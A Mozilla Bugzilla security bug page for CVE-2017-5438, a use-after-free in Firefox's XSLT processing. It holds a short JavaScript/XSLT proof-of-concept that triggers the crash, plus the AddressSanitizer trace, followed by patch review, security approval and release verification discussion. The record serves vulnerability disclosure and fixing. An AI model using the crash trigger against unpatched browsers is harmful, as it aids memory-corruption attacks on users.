Bug 1336828 (CVE-2017-5438)

UAF in nsAutoPtr destructor during XSLT processing

VERIFIED FIXED in Firefox -esr45

Status

()

defect
--
critical
VERIFIED FIXED
2 years ago
2 years ago

People

(Reporter: nicolas.gregoire, Assigned: peterv)

Tracking

(4 keywords)

Trunk
mozilla55
x86_64
Linux
Points:
---
Dependency tree / graph
Bug Flags:
sec-bounty +
in-testsuite ?

Firefox Tracking Flags

(firefox-esr4553+ verified, firefox51 wontfix, firefox52 wontfix, firefox-esr5253+ verified, firefox53+ verified, firefox54+ verified, firefox55+ verified)

Details

(Whiteboard: [adv-main53+][adv-esr52.1+][adv-esr45.9+])

Attachments

(4 attachments, 4 obsolete attachments)

(Reporter)

Description

2 years ago
Posted file XPCshell PoC
Tested under xpcshell "JavaScript-C54.0a1"
Note: the "match" attribute of the XSLT node "template" must match the name of the XML root tag

[+] Relevant parts

xml_str = '<tag_name/>';

xsl_str = '<xsl:stylesheet xmlns:xsl="http://www.w3.org/1999/XSL/Transform" version="42">' +
          ' <xsl:variable name="var_name"><xsl:template/></xsl:variable>' +
          ' <xsl:template match="tag_name[$var_name]"/>' +
          '</xsl:stylesheet>'

xml = parse_str(xml_str, 'text/xml');
xsl = parse_str(xsl_str, 'text/xml');
transform(xml, xsl);

[+] How to reproduce

$ ./poc_xslt_uaf_nsAutoPtr_dtor.js

==20218==ERROR: AddressSanitizer: heap-use-after-free on address 0x60400003e410 at pc 0x7f2e219117be bp 0x7ffc99c5b7a0 sp 0x7ffc99c5b798

READ of size 8 at 0x60400003e410 thread T0
    #0 0x7f2e219117bd in ~nsAutoPtr /home/worker/workspace/build/src/obj-firefox/dist/include/nsAutoPtr.h:78:5
    #1 0x7f2e219117bd in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:99
    #2 0x7f2e2194a015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1
    #3 0x7f2e2194fbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
    #4 0x7f2e2194fbdb in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1297
    ...

0x60400003e410 is located 0 bytes inside of 40-byte region [0x60400003e410,0x60400003e438)
freed by thread T0 here:
    #0 0x4b20db in free /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:38:3
    #1 0x7f2e21910697 in txExecutionState::~txExecutionState() /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:90:9
    #2 0x7f2e2194a015 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:701:1
    #3 0x7f2e2194fbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
    #4 0x7f2e2194fbdb in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1297
    ...

previously allocated by thread T0 here:
    #0 0x4b23fb in __interceptor_malloc /builds/slave/moz-toolchain/src/llvm/projects/compiler-rt/lib/asan/asan_malloc_linux.cc:52:3
    #1 0x4df2ad in moz_xmalloc /home/worker/workspace/build/src/memory/mozalloc/mozalloc.cpp:83:17
    #2 0x7f2e21942bb2 in operator new /home/worker/workspace/build/src/obj-firefox/dist/include/mozilla/mozalloc.h:194:12
    #3 0x7f2e21942bb2 in txToDocHandlerFactory::createHandlerWith(txOutputFormat*, txAXMLEventHandler**) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:93
    #4 0x7f2e21911d13 in txExecutionState::init(txXPathNode const&, txOwningExpandedNameMap<txIGlobalParameter>*) /home/worker/workspace/build/src/dom/xslt/xslt/txExecutionState.cpp:115:10
    #5 0x7f2e21949c01 in txMozillaXSLTProcessor::TransformToDoc(nsIDOMDocument**, bool) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:672:19
    #6 0x7f2e2194fbdb in TransformToDocument /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:645:12
    #7 0x7f2e2194fbdb in txMozillaXSLTProcessor::TransformToDocument(nsINode&, mozilla::ErrorResult&) /home/worker/workspace/build/src/dom/xslt/xslt/txMozillaXSLTProcessor.cpp:1297
    ...
Group: core-security → dom-core-security
Confirmed in mozilla-central rev 1cc159c7a044.
Status: UNCONFIRMED → NEW
Ever confirmed: true
Flags: in-testsuite?
Version: 54 Branch → Trunk
Peter, can you please take a look?
Flags: needinfo?(peterv)
Flags: sec-bounty?
(Assignee)

Comment 4

2 years ago
We've pushed the unknown result handler onto the owning mResultHandlerStack (because we're getting a variable), but it's also owned by the execution state in mObsoleteHandler.
Flags: needinfo?(peterv)
Keywords: sec-high
(Assignee)

Updated

2 years ago
Assignee: nobody → peterv
Status: NEW → ASSIGNED
(Assignee)

Comment 5

2 years ago
Posted patch v1 (obsolete) — Splinter Review
This actually fixes bug 1336832 and bug 1338277 too. I have a simpler fix just for this bug and bug 1336832 though, so I'm trying to figure out if I could make one for bug 1338277, as that might be preferable for branches. If a simpler fix for bug 1338277 is too hard then we should mark the other two as dupes of this one.
Peter, we're building the last beta of the 52 cycle today, and next week is RC week.  Is there any chance we can get this fixed in time for 52 RC, or should we leave it to 53 or to a possible dot release?
Flags: needinfo?(peterv)
(Assignee)

Comment 7

2 years ago
Posted patch v2 (obsolete) — Splinter Review
This is what I'd like to land on trunk. It makes us bubble up errors during matching. Currently we don't return those errors, but we do usually bail out of the function where they happened. This lead to various bugs where we'd skip some setup but didn't stop processing, and things wouldn't be set up correctly when we continued processing.
It is a big change to take on branches imo. I have smaller spot-fixes for the known issues that this causes, but there might be unknown ones. For now, I think we should take this on trunk and the spot fixes on branches.
Attachment #8838052 - Attachment is obsolete: true
Attachment #8840863 - Flags: review?(erahm)
(Assignee)

Comment 8

2 years ago
This is a smaller patch that we could take on branches.
Flags: needinfo?(peterv)
Attachment #8840864 - Flags: review?(erahm)
Comment on attachment 8840864 [details] [diff] [review]
Branch patch v1

Review of attachment 8840864 [details] [diff] [review]:
-----------------------------------------------------------------

r=me
Attachment #8840864 - Flags: review?(erahm) → review+
Branch patches are reviewed, looking at the larger patch now.
Comment on attachment 8840863 [details] [diff] [review]
v2

Review of attachment 8840863 [details] [diff] [review]:
-----------------------------------------------------------------

Looks good, just a few issues that need to be fixed.

::: dom/xslt/xpath/txNodeTypeTest.cpp
@@ +52,2 @@
>          }
>      }

This still needs a return and assignment to |aMatched|. I guess if we want to match the previous behavior:

> aMatched = true;
> return NS_OK;

::: dom/xslt/xpath/txUnionNodeTest.cpp
@@ +19,5 @@
> +        nsresult rv = mNodeTests[i]->matches(aNode, aContext, aMatched);
> +        NS_ENSURE_SUCCESS(rv, rv);
> +
> +        if (aMatched) {
> +            break;

This should be |return NS_OK;|

::: dom/xslt/xslt/txStylesheet.cpp
@@ -100,2 @@
>      *aImportFrame = nullptr;
> -    txInstruction* matchTemplate = nullptr;

There'd be less churn if you left this...

@@ +185,4 @@
>          }
>      }
>  
> +    return NS_OK;

...and just assigned |*aTemplate = matchTemplate| here. Either way is fine, this would just avoid a bit of blame.

::: dom/xslt/xslt/txXSLTNumber.cpp
@@ +173,5 @@
> +            if (aFromPattern && !walker.isOnNode(currNode)) {
> +                bool matched;
> +                rv = aFromPattern->matches(walker.getCurrentPosition(),
> +                                           aContext, matched);
> +                NS_ENSURE_SUCCESS(rv, rv);

All of these early returns potentially leak |countPattern|.
Attachment #8840863 - Flags: review?(erahm) → review-
(Assignee)

Comment 12

2 years ago
Posted patch v2 (obsolete) — Splinter Review
(In reply to Eric Rahm [:erahm] from comment #11)
> This still needs a return and assignment to |aMatched|. I guess if we want
> to match the previous behavior:

Well, that's effectively dead code, since we already handle all the enum's values. And with this we'd just get "control may reach end of non-void function" if we didn't handle all of them, so I left it as-is.

> This should be |return NS_OK;|

Good catch! Done.

> Either way is fine, this would just avoid a bit of blame.

I left it, it's a bit similar to how we deal with aImportFrame now.

> All of these early returns potentially leak |countPattern|.

Good catch, added an nsAutoPtr instead of the ownsCountPattern var.
Attachment #8840863 - Attachment is obsolete: true
Attachment #8842010 - Flags: review?(erahm)
(Assignee)

Comment 13

2 years ago
Comment on attachment 8840864 [details] [diff] [review]
Branch patch v1

[Security approval request comment]
How easily could an exploit be constructed based on the patch?

It's not obvious from the code how to trigger the error.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

The testcase does.

Which older supported branches are affected by this flaw?

All.

If not all supported branches, which bug introduced the flaw?

All branches are affected.

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

Patch should just apply to branches.

How likely is this patch to cause regressions; how much testing does it need?

Shouldn't cause regressions, it just avoids double-deleting an object.

Note that this is a lower-risk patch intended for branches. I have a different, much bigger change for trunk. Please let me know if it's ok to not land the branch patch on trunk, otherwise we could land this on trunk too, and then backout and land the riskier change only on trunk.
Attachment #8840864 - Flags: sec-approval?
(In reply to Peter Van der Beken [:peterv] from comment #12)
> Created attachment 8842010 [details] [diff] [review]
> v2
> 
> (In reply to Eric Rahm [:erahm] from comment #11)
> > This still needs a return and assignment to |aMatched|. I guess if we want
> > to match the previous behavior:
> 
> Well, that's effectively dead code, since we already handle all the enum's
> values. And with this we'd just get "control may reach end of non-void
> function" if we didn't handle all of them, so I left it as-is.

Sounds reasonable, can you add an NS_NOTREACHED before landing? It'll make Coverity happy :)
Comment on attachment 8842010 [details] [diff] [review]
v2

Review of attachment 8842010 [details] [diff] [review]:
-----------------------------------------------------------------

Thanks Peter, looks good.
Attachment #8842010 - Flags: review?(erahm) → review+
(Assignee)

Comment 16

2 years ago
Posted patch v2 (obsolete) — Splinter Review
[Security approval request comment]
How easily could an exploit be constructed based on the patch?

There's a hint that errors in matching cause issues, but don't think it's easy to construct an exploit based on that.

Do comments in the patch, the check-in comment, or tests included in the patch paint a bulls-eye on the security problem?

The testcases do.

Which older supported branches are affected by this flaw?

All.

If not all supported branches, which bug introduced the flaw?

All branches are affected.

Do you have backports for the affected branches? If not, how different, hard to create, and risky will they be?

I have separate smaller patches to deal with the specific issues caused by this architectural issue that we've found so far. I'd like to take the smaller patches on branches, and let this big change just ride the trains.

How likely is this patch to cause regressions; how much testing does it need?

There might be regressions, because we're now reporting errors in places where we didn't before.
Attachment #8842010 - Attachment is obsolete: true
Attachment #8843257 - Flags: sec-approval?
Attachment #8843257 - Flags: review+
We're shipping Firefox 52 on Tuesday. This has sec-approval+ to checkin *on or after* March 21, two weeks into the next cycle. 

Also, this approval *only* applies to the fix itself, not the three tests in the patch. 

Please open a separate bug for checking in the tests. Maybe even split them off and make a new patch of jsut the fix here. The tests patch won't be allowed to be checked in until we ship a release containing the fix. Otherwise, your tests will 0day our users as soon as you check it in and reveal your security fix.
Whiteboard: [checkin on 3/21]
Attachment #8840864 - Flags: sec-approval? → sec-approval+
Attachment #8843257 - Flags: sec-approval? → sec-approval+
https://hg.mozilla.org/integration/mozilla-inbound/rev/e4062da24f6b

Please request Aurora/Beta/ESR52/ESR45 approval on this when you get a chance.
Flags: needinfo?(peterv)
Whiteboard: [checkin on 3/21]
(Assignee)

Comment 20

2 years ago
So, uhm, I was going to take care of these checkins tomorrow, the 21st. I was also not going to check in the tests. It seems this was checked in today *with* the tests.
Sorry about that, was trying to time things to make tomorrow's merges to m-c and missed that the tests were there too :(
(Assignee)

Updated

2 years ago
Blocks: 1349717
(Assignee)

Updated

2 years ago
Blocks: 1349720
(Assignee)

Comment 22

2 years ago
Comment on attachment 8843257 [details] [diff] [review]
v2

Moved this to bug 1349717, going to use this bug to keep track of attachment 8840864 [details] [diff] [review] (which I'll land on trunk and branches first).
Attachment #8843257 - Attachment is obsolete: true
Flags: needinfo?(peterv)
https://hg.mozilla.org/mozilla-central/rev/a1da1e06485a
Status: ASSIGNED → RESOLVED
Last Resolved: 2 years ago
Resolution: --- → FIXED
Target Milestone: --- → mozilla55
(Assignee)

Comment 25

2 years ago
Same as attachment 8840864 [details] [diff] [review], but without the automated testcase.

Approval Request Comment
[Feature/Bug causing the regression]: XSLT.
[User impact if declined]: Crash.
[Is this code covered by automated tests?]: Yes, but the crashtest for this specific issues will be landed separately.
[Has the fix been verified in Nightly?]: I verified that the testcase doesn't crash anymore
[Needs manual test from QE? If yes, steps to reproduce]: Yes, until we can land the automated test. To reproduce: load attachment 8834045 [details], shouldn't crash.
[List of other uplifts needed for the feature/fix]: None.
[Is the change risky?]: Low-risk
[Why is the change risky/not risky?]: It's a narrow spot-fix to avoid double-deleting an object (the architectural change was moved to a separate bug)
[String changes made/needed]: None.
Attachment #8851085 - Flags: review+
Attachment #8851085 - Flags: approval-mozilla-beta?
Attachment #8851085 - Flags: approval-mozilla-aurora?
Comment on attachment 8851085 [details] [diff] [review]
Branch patch v1

Fix for sec-high issue, already on m-c, let's bring this to beta 7.
Attachment #8851085 - Flags: approval-mozilla-beta?
Attachment #8851085 - Flags: approval-mozilla-beta+
Attachment #8851085 - Flags: approval-mozilla-aurora?
Attachment #8851085 - Flags: approval-mozilla-aurora+
(Assignee)

Comment 28

2 years ago
Comment on attachment 8851085 [details] [diff] [review]
Branch patch v1

[Approval Request Comment]
If this is not a sec:{high,crit} bug, please state case for ESR consideration: sec-high
User impact if declined: crash
Fix Landed on Version: 55
Risk to taking this patch (and alternatives if risky): low-risk, narrow spot-fix to avoid double-deleting an object
String or UUID changes made by this patch: none

See https://wiki.mozilla.org/Release_Management/ESR_Landing_Process for more info.
Attachment #8851085 - Flags: approval-mozilla-esr52?
Attachment #8851085 - Flags: approval-mozilla-esr45?
Peter: the original patch in this bug is quite extensive. More than we wanted for branches, but presumably changes we need going forward. Is there a follow-up bug to make those changes?
Flags: sec-bounty?
Flags: sec-bounty+
Flags: needinfo?(peterv)
Daniel, I believe bug 1349717 is the follow-up bug.
Group: dom-core-security → core-security-release
(Assignee)

Comment 31

2 years ago
(In reply to Daniel Veditz [:dveditz] from comment #29)
> Peter: the original patch in this bug is quite extensive. More than we
> wanted for branches, but presumably changes we need going forward. Is there
> a follow-up bug to make those changes?

Yes, bug 1349717.
Flags: needinfo?(peterv)
Comment on attachment 8851085 [details] [diff] [review]
Branch patch v1

uaf fix for esr45 and esr52
Attachment #8851085 - Flags: approval-mozilla-esr52?
Attachment #8851085 - Flags: approval-mozilla-esr52+
Attachment #8851085 - Flags: approval-mozilla-esr45?
Attachment #8851085 - Flags: approval-mozilla-esr45+
Whiteboard: [adv-main53+][adv-esr52.1+][adv-esr45.9+]
Alias: CVE-2017-5438
Flagging this for manual testing, per Comment 25.
Flags: qe-verify+
Reproduced on Fx 52, Ubuntu 14.04 x64.
Verified fixed Fx 53b10, 54.0a2 (2017-04-10), 55.0a1 (2017-04-10), 45.8.1 ESR tinderbox (2017-04-10), 52.0.3 ESR tinderbox (2017-04-10).
Group: core-security-release
You need to log in before you can comment on or make changes to this bug.